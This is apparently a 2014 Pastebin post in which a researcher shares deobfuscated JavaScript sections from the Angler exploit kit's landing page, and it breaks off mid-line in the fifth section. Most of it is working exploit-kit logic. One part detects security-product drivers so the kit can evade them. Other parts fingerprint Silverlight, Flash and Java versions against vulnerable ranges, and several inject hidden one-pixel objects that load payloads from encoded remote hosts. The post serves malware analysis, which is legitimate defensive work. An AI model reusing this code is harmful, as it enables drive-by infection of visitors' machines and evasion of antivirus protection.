Advertisement
tehsyntx

Angler exploit kit deobfuscated sections

Aug 2nd, 2014
5,097
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #####
  2. Angler exploit kit deobfuscated sections
  3. @tehsyntx
  4. thembits.blogspot.se
  5.  
  6. The sections are from the span-tags located at the top of the landingpage.
  7. #####
  8.  
  9.  
  10.  
  11. Section one:
  12.  
  13.   function gs7sfd(txt) {
  14.       var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
  15.       xmlDoc.async = true;
  16.       xmlDoc.loadXML('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "res://' + txt + '">');
  17.       if (xmlDoc.parseError.errorCode != 0) {
  18.           var err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
  19.           err += "Error Reason: " + xmlDoc.parseError.reason;
  20.           err += "Error Line: " + xmlDoc.parseError.line;
  21.           if (err.indexOf("-2147023083") > 0) {
  22.               return 1;
  23.           } else {
  24.               return 0;
  25.           }
  26.       }
  27.       return 0;
  28.   }
  29.   if (gs7sfd("c:\\Windows\\System32\\drivers\\kl1.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmactmon.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmcomm.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmevtmgr.sys") || gs7sfd("c:\\windows\\system32\\drivers\\TMEBC32.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmeext.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmnciesc.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmtdi.sys")) {
  30.       window['zxtbVDMp'] = true;
  31.       BzJUQufh = '';
  32.       window.sf325gtgs7sfdj = window.sf325gtgs7sfds = window.sf325gtgs7sfdf1 = window.sf325gtgs7sfdf2 = false;
  33.   };
  34.  
  35.  
  36. #############################################################
  37.  
  38. Section two:
  39.  
  40. if (!Array.prototype.indexOf) {
  41.     Array.prototype.indexOf = function(obj, start) {
  42.         for (var i = (start || 0), j = this.length; i < j; i++) {
  43.             if (this[i] === obj) {
  44.                 return i;
  45.             }
  46.         }
  47.         return -1;
  48.     };
  49. }
  50. window.bbERD = new Function('text', "var cryptKey = SnDCSH0, rawArray = cryptKey.split(''), sortArray = cryptKey.split(''), keyArray=[];sortArray.sort(); var keySize = sortArray.length;for (var i=0; i<keySize; i++) {keyArray.push(rawArray.indexOf(sortArray[i]));}var k = keySize - text.length % keySize;for(var l = 0; l<k;l++) {text += ' ';} var endStr = '', i,j,line,newLine;for (i = 0; i < text.length; i += keySize) {line = text.substr(i,keySize).split('');newLine = '';for (j = 0; j < keySize; j++){newLine += line[keyArray[j]];}endStr = endStr + newLine;}endStr=endStr.replace(/\\s/g,'');return endStr;");
  51. var xObjectName = 'ActiveXObject';
  52. var xObject = window[xObjectName];
  53. var AgControl = 'AgControl.AgControl';
  54.  
  55. function silverVersion(value) {
  56.     var nav = navigator.plugins["Silverlight Plug-In"];
  57.     if (nav) {
  58.         return testVersion(nav.description);
  59.     } else {
  60.         try {
  61.             var control = new ActiveXObject('AgControl.AgControl');
  62.             var vers = Array(1, 0, 0, 0);
  63.             loopVersion(control, vers, 0, 1);
  64.             loopVersion(control, vers, 1, 1);
  65.             loopVersion(control, vers, 2, 10000);
  66.             loopVersion(control, vers, 2, 1000);
  67.             loopVersion(control, vers, 2, 100);
  68.             loopVersion(control, vers, 2, 10);
  69.             loopVersion(control, vers, 2, 1);
  70.             loopVersion(control, vers, 3, 1);
  71.             return testVersion(vers.join('.'));
  72.         } catch (e) {
  73.             return testVersion(false);
  74.         }
  75.     }
  76.  
  77.     function testVersion(currentVersion) {
  78.         if (!currentVersion) return currentVersion;
  79.         if (parseInt(String(currentVersion).replace(/\./g, '')) > parseInt(String(value).replace(/\./g, ''))) return 1;
  80.         if (parseInt(String(currentVersion).replace(/\./g, '')) == parseInt(String(value).replace(/\./g, ''))) return 0;
  81.         if (parseInt(String(currentVersion).replace(/\./g, '')) < parseInt(String(value).replace(/\./g, ''))) return -1;
  82.     }
  83.  
  84.     function loopVersion(control, vers, idx, inc) {
  85.         while (IsSupported(control, vers)) {
  86.             vers[idx] += inc;
  87.         }
  88.         vers[idx] -= inc;
  89.     }
  90.  
  91.     function IsSupported(control, ver) {
  92.         return control.isVersionSupported(ver[0] + "." + ver[1] + "." + ver[2] + "." + ver[3]);
  93.     }
  94. }
  95.  
  96. function flashVersion(versionValue) {
  97.     var a = !1,
  98.         res, ver = fixNumber(versionValue);
  99.  
  100.     function fixNumber(num) {
  101.         function beautify(match, number) {
  102.             var res = "000" + match;
  103.             return (res).substr(res.length - 3)
  104.         }
  105.         var n = num.split(".");
  106.         result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);
  107.         return n.length > 3 ? result + n[3].replace(/\d+/g, beautify) : result;
  108.     }
  109.  
  110.     function version(b) {
  111.         if (!b) {
  112.             return null
  113.         };
  114.         b = fixNumber(String(b).replace(/^[^0-9]+/g, '').replace(/[^0-9\.]/g, '.').replace(/\.+/g, '.').replace(/\,/g, '.'));
  115.         if (!b) {
  116.             return null
  117.         };
  118.         var verTest = parseInt(ver.substr(0, b.length));
  119.         if (parseInt(b) > verTest) {
  120.             return 1;
  121.         }
  122.         if (parseInt(b) == verTest) {
  123.             return 0;
  124.         }
  125.         return -1;
  126.     }
  127.  
  128.     function createFlash() {
  129.         var obj = document.createElement("object"),
  130.             newDiv = document.createElement("div"),
  131.             id = String("flash" + new Date()).replace(/\s|\+|\:/g, '');
  132.         newDiv.style.cssText = 'position:absolute;top:-1000px;left:-1000px;';
  133.         obj.setAttribute("type", "application/x-shockwave-flash");
  134.         obj.style.cssText = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;display:inline;width:1px;height:1px";
  135.         obj.setAttribute("width", "1");
  136.         obj.setAttribute("id", id);
  137.         obj.setAttribute("height", "1");
  138.         obj.id = id;
  139.         newDiv.appendChild(obj);
  140.         document.body.appendChild(newDiv);
  141.         result = String(obj.GetVariable("$version"));
  142.         return result;
  143.     }
  144.     if (navigator.plugins && navigator.plugins.length) {
  145.         var e = navigator.plugins["Shockwave Flash"];
  146.         e && (a = !0, e.description && (b = e.description));
  147.         navigator.plugins["Shockwave Flash 2.0"] && (a = !0, b = "2.0.0.11");
  148.         res = version(b);
  149.         if (res > 0 || res < 0) return res;
  150.         try {
  151.             return version(createFlash());
  152.         } catch (e) {
  153.             return;
  154.         }
  155.     } else {
  156.         if (navigator.mimeTypes && navigator.mimeTypes.length) {
  157.             var f = navigator.mimeTypes["application/x-shockwave-flash"];
  158.             (a = f && f.enabledPlugin) && (b = f.enabledPlugin.description);
  159.             res = version(b);
  160.             if (res > 0 || res < 0) return res;
  161.             try {
  162.                 return version(createFlash());
  163.             } catch (e) {
  164.                 return;
  165.             }
  166.         } else {
  167.             try {
  168.                 var g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7"),
  169.                     a = !0,
  170.                     b = g.GetVariable("$version");
  171.                 return version(b);
  172.             } catch (h) {
  173.                 try {
  174.                     g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"), a = !0, b = "6.0.21";
  175.                     return;
  176.                 } catch (i) {
  177.                     try {
  178.                         g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"), a = !0, b = g.GetVariable("$version");
  179.                         return version(b);
  180.                     } catch (j) {}
  181.                 }
  182.             }
  183.         }
  184.     }
  185.     return;
  186. }
  187. var minValue = silverVersion("4.0.50401.0"),
  188.     maxValue = silverVersion("5.1.10411.0"),
  189.     currentValue = silverVersion("5.0.60818.0");
  190. if (typeof(minValue) != 'undefined' && typeof(maxValue) != 'undefined' && typeof(currentValue) != 'undefined' && minValue >= 0 && maxValue <= 0 && currentValue != 0) {
  191.     window.sf325gtgs7sfds = true;
  192. } else {
  193.     var ua = window.navigator.userAgent,
  194.         FF = ua.toLowerCase().indexOf('firefox') > 0,
  195.         IE = ua.indexOf('MSIE ') > 0 || ua.indexOf('Trident/') > 0;
  196.     if ((IE || FF) && ((flashVersion("11.3.300.257") >= 0 && flashVersion("11.7.700.275") <= 0) || (flashVersion("11.8.800.94") >= 0 && flashVersion("13.0.0.182") <= 0))) {
  197.         if (!(FF && flashVersion("11.3.000.000") >= 0 && navigator.appVersion.indexOf('Windows NT 6') >= 0)) {
  198.             if (!((navigator.userAgent.indexOf("Win64") == -1 && navigator.userAgent.indexOf("x64") == -1) && (flashVersion("11.7.700.275") == 0 || flashVersion("13.0.0.182") == 0))) {
  199.                 window.sf325gtgs7sfdf1 = true;
  200.             }
  201.         }
  202.     }
  203. } if (navigator.javaEnabled()) {
  204.     window.sf325gtgs7sfdj = true;
  205. }
  206. var Browser = {
  207.     Version: function() {
  208.         try {
  209.             var birks = /malware.dontneedcoffee.com/.test();
  210.         } catch (e) {}
  211.         var version = 999;
  212.         if (navigator.appVersion.indexOf("MSIE") != -1) version = parseFloat(navigator.appVersion.split("MSIE")[1]);
  213.         return version;
  214.     }
  215. };
  216. if (!window.sf325gtgs7sfdj && !window.sf325gtgs7sfds && !window.sf325gtgs7sfdf1 && !window.sf325gtgs7sfdf2 && (Browser.Version() > 10)) {
  217.     var urlName = decIt(SnDCSH1);
  218.     document.location.href = "/" + urlName;
  219. }
  220.  
  221. #############################################################
  222.  
  223. Section three:
  224.  
  225. if (window.sf325gtgs7sfds && !window.sf325gtgs7sfdf1) {
  226.     var klfg1 = 'wri',
  227.         klfg2 = 'te';
  228.  
  229.     function getKolaio() {
  230.         return bbERD(SnDCSH2);
  231.     }
  232.  
  233.     function getTxl() {
  234.         return bbERD(SnDCSH3);
  235.     }
  236.  
  237.     function getData() {
  238.         return bbERD(SnDCSH4);
  239.     }
  240.     document[klfg1 + klfg2]('<form id="form1" runat="server" style="height: 100%"><div id="silverlightControlHost"><object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%"><param name="source" value="http://' + getKolaio() + '/' + getTxl() + '" /><param name="initParams" value="exteeec=' + getData() + '"/></object></div></form>');
  241. }
  242.  
  243. #############################################################
  244.  
  245. Section four:
  246.  
  247. if (window.sf325gtgs7sfdf1 && !window.sf325gtgs7sfds) {
  248.     var klfg1 = 'wri',
  249.         klfg2 = 'te';
  250.  
  251.     function getKolaio() {
  252.         return bbERD(SnDCSH5);
  253.     }
  254.  
  255.     function getTxl(a) {
  256.         return bbERD(SnDCSH6);
  257.     }
  258.  
  259.     function getData(a) {
  260.         return bbERD(SnDCSH7);
  261.     }
  262.     var mirtul = "1";
  263.     var txt = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="1" height="1" id="23kjsdf"><param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" /><param name=FlashVars value="exec=' + getData(mirtul) + '" />';
  264.     txt = txt + '<!--[if !IE]>--><object type="application/x-shockwave-flash" data="http://';
  265.     txt = txt + getKolaio() + '/' + getTxl(mirtul) + '" allowScriptAccess=always width="1" height="1"><param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" />';
  266.     txt = txt + '<param name=FlashVars value="exec=' + getData(mirtul) + '" /><!--<![endif]--><!--[if !IE]>--></object><!--<![endif]--></object>';
  267.     document[klfg1 + klfg2](txt);
  268. }
  269.  
  270. #############################################################
  271.  
  272. Section five:
  273.  
  274.  var ldklfgo;
  275.  var klfg1 = 'wri',
  276.      klfg2 = 'te';
  277.  ldklfgo = {
  278.          isDefined: function(b) {
  279.              return typeof b != "undefined"
  280.          },
  281.          isArray: function(b) {
  282.              return (/array/i).test(Object.prototype.toString.call(b))
  283.          },
  284.          isFunc: function(b) {
  285.              return typeof b == "function"
  286.          },
  287.          isString: function(b) {
  288.              return typeof b == "string"
  289.          },
  290.          isNum: function(b) {
  291.              return typeof b == "number"
  292.          },
  293.          isStrNum: function(b) {
  294.              return (typeof b == "string" && (/\d/).test(b))
  295.          },
  296.          getNumRegx: /[\d][\d\.\_,\-]*/,
  297.          splitNumRegx: /[\.\_,\-]/g,
  298.          getNum: function(b, c) {
  299.              var d = this,
  300.                  a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  301.              return a ? a[0] : null
  302.          },
  303.          compareNums: function(h, f, d) {
  304.              var e = this,
  305.                  c, b, a, g = parseInt;
  306.              if (e.isStrNum(h) && e.isStrNum(f)) {
  307.                  if (e.isDefined(d) && d.compareNums) {
  308.                      return d.compareNums(h, f)
  309.                  }
  310.                  c = h.split(e.splitNumRegx);
  311.                  b = f.split(e.splitNumRegx);
  312.                  for (a = 0; a < Math.min(c.length, b.length); a++) {
  313.                      if (g(c[a], 10) > g(b[a], 10)) {
  314.                          return 1
  315.                      }
  316.                      if (g(c[a], 10) < g(b[a], 10)) {
  317.                          return -1
  318.                      }
  319.                  }
  320.              }
  321.              return 0
  322.          },
  323.          formatNum: function(b, c) {
  324.                  var d = this,
  325.                      a, e;
  326.                  if (!d.isStrNum(b)) {
  327.                      return null
  328.                  }
  329.                  if (!d.isNum(c)) {
  330.                      c = 4
  331.                  }
  332.                  c--;
  333.                  e = b.repl
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement